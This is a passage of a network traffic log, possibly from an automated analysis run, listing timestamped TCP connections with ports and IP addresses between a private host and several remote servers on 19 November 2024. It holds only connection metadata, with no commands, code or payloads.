Nov 19, 2024 01:01:40.480994940 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:40.482213020 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:40.482316017 CET	443	49885	18.244.18.27	192.168.2.6
Nov 19, 2024 01:01:40.614518881 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:40.614542961 CET	443	49885	18.244.18.27	192.168.2.6
Nov 19, 2024 01:01:40.768637896 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:40.846059084 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.846545935 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:40.846570015 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.847086906 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.847104073 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.847151995 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:40.847160101 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.847224951 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:40.848113060 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.850294113 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:40.850384951 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.850575924 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:40.850588083 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.858863115 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.859406948 CET	49895	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.859455109 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.859945059 CET	49895	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.859954119 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.875610113 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.876912117 CET	49897	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.876929045 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.876967907 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.877913952 CET	49894	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.877939939 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.877969027 CET	49897	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.877985954 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.878741026 CET	49894	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.878745079 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.880987883 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.881426096 CET	49896	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.881444931 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.881814957 CET	49896	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.881820917 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.883866072 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.890773058 CET	49898	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.890789986 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.891161919 CET	49898	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.891166925 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.999531031 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.000099897 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.000194073 CET	49895	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.013880968 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.013901949 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.013926029 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.014039040 CET	49897	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.020725012 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.020874977 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.020982027 CET	49894	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.021542072 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.021634102 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.022039890 CET	49896	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.024935961 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.025033951 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.026014090 CET	49898	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.055354118 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.056860924 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.113013983 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.113056898 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.113090992 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.113132954 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.113156080 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.113193989 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.113246918 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.113336086 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.116033077 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.116059065 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.116059065 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.116071939 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.116100073 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.124819040 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.126009941 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.126015902 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.133462906 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.134006977 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.134012938 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.142172098 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.143683910 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.143688917 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.219518900 CET	49895	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.219558001 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.219588041 CET	49895	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.219597101 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.221363068 CET	49896	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.221374989 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.221386909 CET	49896	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.221391916 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.231451988 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.231487036 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.231535912 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.231547117 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.231579065 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.231580973 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.231591940 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.231787920 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.231831074 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.231837988 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.231869936 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.231888056 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.235232115 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.238008022 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.238017082 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.242150068 CET	49898	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.242156982 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.242166996 CET	49898	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.242170095 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.243310928 CET	49897	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.243310928 CET	49897	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.243349075 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.243361950 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.243979931 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.244045019 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.244066954 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.246159077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:41.247941017 CET	49894	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.247965097 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.247980118 CET	49894	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.247984886 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.248100042 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:41.252644062 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.254009008 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.254014969 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.261436939 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.261496067 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.261502981 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.270514011 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.270561934 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.270569086 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.278953075 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.279016972 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.279022932 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.287225008 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.287276030 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.287281990 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.294286966 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.294326067 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.294332027 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.298887968 CET	49904	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.298924923 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.299119949 CET	49904	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.299817085 CET	49905	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.299839973 CET	443	49905	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.300165892 CET	49905	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.301816940 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.301879883 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.301884890 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.304184914 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.304198980 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.304332018 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.304605007 CET	49904	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.304615974 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.305042982 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.305057049 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.305141926 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.305190086 CET	49905	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.305203915 CET	443	49905	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.305324078 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.305330992 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.305573940 CET	49908	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.305623055 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.305938959 CET	49908	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.306479931 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.306489944 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.307933092 CET	49908	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.307950020 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.309432983 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.309545994 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.309552908 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.316915989 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.316986084 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.317007065 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.333050013 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.333111048 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.333118916 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.349404097 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.349441051 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.349483967 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.349503040 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.349513054 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.349525928 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.349546909 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.349592924 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.349601984 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.350193024 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.350223064 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.350231886 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.350238085 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.350269079 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.355319977 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.359574080 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.359603882 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.359622955 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.359628916 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.359668970 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.364658117 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.369134903 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.369169950 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.369184017 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.369194031 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.369232893 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.373975039 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.378701925 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.378736019 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.378747940 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.378755093 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.378822088 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.383454084 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.388122082 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.388154030 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.388199091 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.388206959 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.388246059 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.392798901 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.399358988 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.399405003 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.399416924 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.400733948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:41.402240992 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.402292013 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.402297020 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.402309895 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.402446032 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.405553102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:41.406934977 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.411963940 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.411998034 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.412034988 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.412050009 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.412081957 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.416388988 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.420944929 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:41.420978069 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:41.421156883 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:41.421416044 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:41.421432018 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:41.421485901 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.421519041 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.421534061 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.421545982 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.421691895 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.422045946 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:41.422068119 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:41.422111034 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:41.422425032 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:41.422434092 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:41.426400900 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.430583954 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.430614948 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.430658102 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.430680037 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.430717945 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.435127020 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.440749884 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.440778017 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.440817118 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.440829992 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.440866947 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.442220926 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:41.442234039 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:41.442310095 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:41.444119930 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.444783926 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:41.444796085 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:41.446325064 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.446424007 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.446436882 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.450634003 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.450716972 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.450726986 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.454986095 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.455003977 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.455038071 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.455048084 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.455085993 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.455774069 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.455816031 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:41.455869913 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:41.462281942 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.462304115 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:41.462460995 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.463021040 CET	49912	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:41.463036060 CET	443	49912	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.044734955 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.045131922 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.045160055 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.046006918 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.046063900 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.047102928 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.047158003 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.047233105 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.047323942 CET	49909	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.047333956 CET	443	49909	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.047468901 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.047481060 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.047929049 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.048346996 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.048404932 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.048691034 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.048702955 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.049758911 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.049801111 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.050067902 CET	49910	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:42.050071955 CET	443	49910	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:42.050461054 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.050554037 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.051331997 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.051498890 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.051887989 CET	49911	443	192.168.2.6	172.64.41.3
Nov 19, 2024 01:01:42.051903009 CET	443	49911	172.64.41.3	192.168.2.6
Nov 19, 2024 01:01:42.072232008 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.079632044 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.079652071 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.080158949 CET	49906	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.080162048 CET	443	49906	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.081446886 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.083718061 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.083730936 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.084160089 CET	49907	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.084162951 CET	443	49907	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.084188938 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.084366083 CET	443	49905	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.085139036 CET	49904	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.085155010 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.085865021 CET	49904	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.085870028 CET	443	49904	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.086956024 CET	49905	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.086967945 CET	443	49905	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.087506056 CET	49905	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.087508917 CET	443	49905	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.087604046 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.088047028 CET	49908	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.088068962 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.088498116 CET	49908	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:42.088505030 CET	443	49908	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:42.159162045 CET	49910	443	192.168.2.6	162.159.61.3
